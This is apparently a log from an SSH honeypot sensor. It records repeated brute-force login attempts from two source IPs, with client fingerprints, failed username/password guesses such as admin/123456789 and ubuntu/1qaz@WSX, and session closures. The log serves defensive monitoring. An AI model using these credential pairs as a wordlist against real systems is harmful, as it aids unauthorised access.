{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.670573Z","src_ip":"159.203.92.129","session":"dcaa1a253759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.766649Z","src_ip":"176.65.139.95","session":"127a1b8859de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.852781Z","src_ip":"192.109.200.78","session":"131a3f17fe27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:09.852371Z","src_ip":"176.65.139.95","session":"127a1b8859de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:09.939517Z","src_ip":"192.109.200.78","session":"131a3f17fe27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46390,"dst_ip":"159.203.135.109","dst_port":22,"session":"7542ce225e79","protocol":"ssh","message":"New connection: 192.109.200.78:46390 (159.203.135.109:22) [session: 7542ce225e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:12.545219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:12.550101Z","src_ip":"192.109.200.78","session":"7542ce225e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:12.639975Z","src_ip":"192.109.200.78","session":"7542ce225e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:12.894096Z","src_ip":"192.109.200.78","session":"7542ce225e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:13.980885Z","src_ip":"192.109.200.78","session":"7542ce225e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47768,"dst_ip":"159.203.135.109","dst_port":22,"session":"f337fbf30db2","protocol":"ssh","message":"New connection: 176.65.139.95:47768 (159.203.135.109:22) [session: f337fbf30db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:14.192899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:14.201363Z","src_ip":"176.65.139.95","session":"f337fbf30db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:14.285512Z","src_ip":"176.65.139.95","session":"f337fbf30db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:14.557631Z","src_ip":"176.65.139.95","session":"f337fbf30db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:15.680249Z","src_ip":"176.65.139.95","session":"f337fbf30db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46400,"dst_ip":"159.203.135.109","dst_port":22,"session":"e69f8ad83873","protocol":"ssh","message":"New connection: 192.109.200.78:46400 (159.203.135.109:22) [session: e69f8ad83873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:16.473134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:16.479764Z","src_ip":"192.109.200.78","session":"e69f8ad83873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:16.562988Z","src_ip":"192.109.200.78","session":"e69f8ad83873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:16.816398Z","src_ip":"192.109.200.78","session":"e69f8ad83873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:17.906263Z","src_ip":"192.109.200.78","session":"e69f8ad83873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52476,"dst_ip":"159.203.135.109","dst_port":22,"session":"d08d18cb557c","protocol":"ssh","message":"New connection: 176.65.139.95:52476 (159.203.135.109:22) [session: d08d18cb557c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.122801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.131974Z","src_ip":"176.65.139.95","session":"d08d18cb557c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.218448Z","src_ip":"176.65.139.95","session":"d08d18cb557c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6cfc4b486c","protocol":"ssh","message":"New connection: 192.109.200.78:40520 (159.203.135.109:22) [session: df6cfc4b486c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.295117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.300440Z","src_ip":"192.109.200.78","session":"df6cfc4b486c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.388353Z","src_ip":"192.109.200.78","session":"df6cfc4b486c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.627412Z","src_ip":"176.65.139.95","session":"d08d18cb557c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:20.640865Z","src_ip":"192.109.200.78","session":"df6cfc4b486c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:21.832885Z","src_ip":"192.109.200.78","session":"df6cfc4b486c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:21.951336Z","src_ip":"176.65.139.95","session":"d08d18cb557c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40536,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52d52465ec1","protocol":"ssh","message":"New connection: 192.109.200.78:40536 (159.203.135.109:22) [session: a52d52465ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:24.232039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:24.236336Z","src_ip":"192.109.200.78","session":"a52d52465ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:24.318553Z","src_ip":"192.109.200.78","session":"a52d52465ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:24.721457Z","src_ip":"192.109.200.78","session":"a52d52465ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:25.809661Z","src_ip":"192.109.200.78","session":"a52d52465ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52482,"dst_ip":"159.203.135.109","dst_port":22,"session":"cae8c8c55062","protocol":"ssh","message":"New connection: 176.65.139.95:52482 (159.203.135.109:22) [session: cae8c8c55062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:25.992649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:25.997937Z","src_ip":"176.65.139.95","session":"cae8c8c55062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:26.095833Z","src_ip":"176.65.139.95","session":"cae8c8c55062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:26.473039Z","src_ip":"176.65.139.95","session":"cae8c8c55062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:27.589119Z","src_ip":"176.65.139.95","session":"cae8c8c55062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55406,"dst_ip":"159.203.135.109","dst_port":22,"session":"b613f9671126","protocol":"ssh","message":"New connection: 192.109.200.78:55406 (159.203.135.109:22) [session: b613f9671126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:28.211005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:28.215459Z","src_ip":"192.109.200.78","session":"b613f9671126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:28.296985Z","src_ip":"192.109.200.78","session":"b613f9671126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:28.543432Z","src_ip":"192.109.200.78","session":"b613f9671126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:29.632886Z","src_ip":"192.109.200.78","session":"b613f9671126","protocol":"ssh"}
